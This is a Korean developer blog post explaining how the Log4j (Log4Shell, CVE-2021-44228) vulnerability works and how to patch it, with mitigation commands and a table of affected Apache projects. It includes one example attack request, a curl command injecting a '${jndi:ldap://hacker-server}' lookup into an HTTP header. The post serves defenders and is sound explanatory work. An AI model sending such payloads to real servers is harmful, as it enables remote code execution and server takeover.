인재 DB 등록 시 유의사항

CLOSE

채용공고 지원 시 유의사항

CLOSE
로그인 선택

신고하기

CLOSE
신고사유 (대표 사유 1개)
상세내용 (선택)
0/200
  • 신고한 게시글은 더 이상 보이지 않습니다.
  • 이용약관과 운영정책에 따라 신고사유에 해당하는지 검토 후 조치됩니다.
  • 허위 신고인 경우, 신고자의 서비스 이용이 제한될 수 있으니 유의하시어 신중하게 신고해 주세요.
(이 회원이 작성한 모든 댓글과 커뮤니티 게시물이 보이지 않고, 알림도 오지 않습니다.)

Log4j 보안 취약점 동작 원리 및 조치 방법

홍반장 21.12.13
10864 7 1

지난 주말 Log4j 보안 취약점 관련 내용이 공유되면서, IT 서비스 개발/운영 담당자들에게 비상이 걸렸습니다.

많은 분들이 주말에 고생을 하셨을 거라 생각됩니다.

 

log4j 는 자바 기반의 로깅 라이브러리로 logback, slf4j 등과 더불어 상당히 널리 사용되는 라이브러리 입니다.

보안 취약점 동작 원리 (출처 : Popit 김형준님 작성 글 참고)

문제의 원인은 log4가 로그를 출력할 때 로그에 사용자ID 등이 있으면 자동으로 내부에서 운영중인 LDAP 서버 등에 접속을 해서 변환하는 기능을 제공하는데 이 기능을 이용하면 해커의 서버로 접속해서 해커가 만든 악성 코드를 서버로 다운로드 받게 하고 이 코드를 이용해서 서버를 탈취할 수 있게 됩니다.

예를 들어, 로그를 남길때 다음과 같이 남긴다고 하면,

  •  log.info("Request User Agent:{}", request.getHeader("X-Api-Version"));

해커가  악의적으로 HTTP 의 header의  X-Api-Version 값에 해커의 주소로 설정한 다음 요청을 보내면 위와 같은 동작원리에 의해 해커 서버로 요청이 전송되는 방식입니다.

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://hacker-server}'

서버의 log4j로그를 보면 다음과 같은 로그가 남아 있습니다.

  • 2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]

  • 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

재현 가능한 코드는 다음에 있습니다.

위 로그에서 보시는 것처럼 JNDI(Java Naming and Directory Interface) 의 Lookup 기능을 사용하게 되는데, 이 기능을 제거하거나 막아야 문제를 해결할 수 있습니다.

조치 방법

이 문제는 Log4j 버전 2.0-beta-9 부터 2.14.1 사이를 사용하는 경우에 해당 됩니다. 글을 작성하는 21년 12월 13일 기준에서는, 관련 취약점이 조치된 Log4j v2.15.0 버전을 다운로드 받아 조치가 가능했으나, 2.15 버전도 완벽한 해결이 된 버전이 아니라는 이유로 12월 14일 기준 Log4j v.2.16.0 버전이 릴리즈 되었습니다.

 

문제점을 해결할 수 있는 방법은 크게 3가지가 있는데,

첫번째 방법은, 관련 문제가 해결된 버전으로 위 주소의 log4j 버전으로 업그레이드 하는 방식 입니다. 하지만, log4j 는 단독으로 동작하는 라이브러리가 아니고, ElasticSearch, Hadoop, Druid 등 자바 기반의 큰 프로젝트 안에 포함되는 로깅용 라이브러리 이기 때문에 단순히 log4j 버전만 올리는 경우 전체 프로젝트 빌드 과정에서 에러가 발생할 수 있습니다. 따라서, 이 방법의 경우에는 일부 에러가 발생하는 부분의 코드 수정이 필요합니다.

 

두번째 방법은, 현재 사용중인 log4j jar 파일 안에 있는 JndiLookup.class 파일을 삭제해 버리는 것 입니다.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

위와 같이 삭제를 실행할 수 있는데, 이후에는 당연히 JndiLookup 기능이 동작하지 않게 될 것 입니다. 실제로 이 방법으로 조치를 한 경우 로그에 WARN 이 발생하기도 했습니다. (Hive 의 경우)

 

마지막 방법은, 사용중인 log4j 의 버전이 2.10 부터 2.14.1 까지의 경우에만 적용이 가능한 방법입니다. 

설정 파일에 아래와 같은 설정 두가지 중 하나를 넣어주시면 됩니다.

log4j2.formatMsgNoLookups=true

혹은

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

두개의 설정은 같은 의미를 같습니다.

 

log4j 가 매우 널리 사용되는 라이브러리 이기 때문에, 상당히 많은 시스템에 영향이 있을거라 생각이 되는데, 시스템 담당자라면 빠른 확인과 조치가 필요하겠습니다.

글 작성 이후

이 글을 작성했던 시점 이후로도, Log4j 의 취약점들이 지속적으로 업데이트가 되었습니다.

최초에는 Log4j 버전이 1점대 버전을 사용하는 경우에는 문제가 없다고 알려졌으나, '21년 12월 16일에 Log4j 설정에서 JMS Appender 를 사용하도록 설정할 경우에는 동일한 문제가 발생한다고 리포팅 되었습니다.


아래는 Log4j 이슈에 영향을 받은 아파치 프로젝트 리스트 입니다.

Apache projects affected by log4j CVE-2021-44228 : https://blogs.apache.org/security/entry/cve-2021-44228


Project

Status

Apache Ant

Not Affected, a deprecated module uses log4j 1.x

Apache Archiva

Affected, release 2.2.6 will address this

Apache AsterixDB

Affected, fixed in 0.9.7.1

Apache Calcite Avatica

Affected, update to 1.20.0

Apache Camel

Not affected

Apache CloudStack

Not Affected

Apache Druid

Affected, update to 0.22.1

Apache EventMesh

Affected

Apache Flink

Affected, fixed in 1.14.2, 1.13.5, 1.12,7, 1.11.6

Apache Fortress

Affected, update to 2.0.7

Apache Geode

Affected, update to 1.12.6, 1.13.5, 1.14.1

Apache Guacamole

Not Affected

Apache Hadoop

Not affected, uses log4j 1.x

Apache Hive

Affected

Apache HTTP Server (httpd)

Not affected

Apache Iceberg

Not Affected

Apache James

Affected, update to 3.6.1

Apache Jena

Affected, update to 4.3.1

Apache JMeter

Affected, update to 5.4.2

Apache JSPWiki

Affected, update to 2.11.1

Apache Kafka

Not Affected

Apache Log4J 1.2

Not Affected, see CVE-2021-4104. Note Log4j 1.x is EOL since 2015.

Apache Log4J 2.x

Affected, update to 2.16.0

Apache Log4Net

Not affected

Apache Lucene

Affected, update to 8.11.1

Apache Maven

Not affected, Maven 3.1+ uses lsf4j simple-logger

Apache OFBiz

Affected, update to 18.12.03

Apache Ozone

Affected, update to 1.2.1

Apache POI

Not affected, only uses log4j-api

Apache SkyWalking

Affected, update to 8.9.1

Apache Sling

Not affected

Apache Solr

Affected, update to 8.11.1

Apache Spark

Not affected, uses log4j 1.x

Apache Subversion

Not affected

Apache Struts

Affected

Apache Tika

Affected (1.x is not affected as uses log4j 1.x)

Apache Tomcat

Not Affected

Apache TrafficControl

Not affected, used log4j 1.x

Apache Uima

Not affected

Apache XMLBeans

Not affected, only uses log4j-api

Apache ZooKeeper

Not affected, uses log4j 1.x

대응 이후 뒷 이야기...

향후 Log4j 뿐만 아니고, 다른 라이브러리에서도 비슷한 문제가 발생할 수 있다고 가정하면, 보다 빠른 현황 파악과 대처를 위해 보완이 필요한 부분들이 있을것으로보고 추가적으로 진행했던 내용들 입니다.


먼저, 소스코드의 보안취약점 진단 프로세스를 자동화하는 부분입니다.

저희는 사내 DevSecOps 프로세스에 포함되어 있는 소스코드 보안취약점 진단 프로세스를 주 1회 실행되고 리포트를 확인할 수 있도록 현재의 DevOps 프로세스를 개선하였습니다.

보안취약점 진단은 SK텔레콤에서 라이선스를 보유하고 있는 보안 솔루션을 바탕으로 진행되는데,, 물론 모든 취약점이 이를 통해 진단 되리라 본것은 아니지만 평소에 잘 관리해보자,, 라는 의미로 적용을 하게 되었습니다.

또한 이미 널리 알려진 BlackDuck 의 경우에도 오픈소스 라이선스 이슈와 함께 보안취약점 진단이 리포팅 된다고하여 적용을 try 해보았으나...여러가지 허들에 걸려서 최종적으로 적용까지 가지는 못했습니다.


추가적으로 소스코드 레벨에서 확인이 불가능한 실제 클러스터의 배포 현황을 빠르게 파악해보기 위해서 ElasticSearch 와 같은 검색엔진으로 서버의 파일목록과 설정파일의 컨텐츠(설정값이 어떻게 되어 있냐에 따라 결과가 달라지므로)를 평소에 색인하는 방법에 대해서도 적용하는 것을 고민해 보았으나... 실제 진행까지는 하지 않았습니다. (과잉대응 같아서...)

홍반장 님의 최신 블로그

더보기

관련 블로그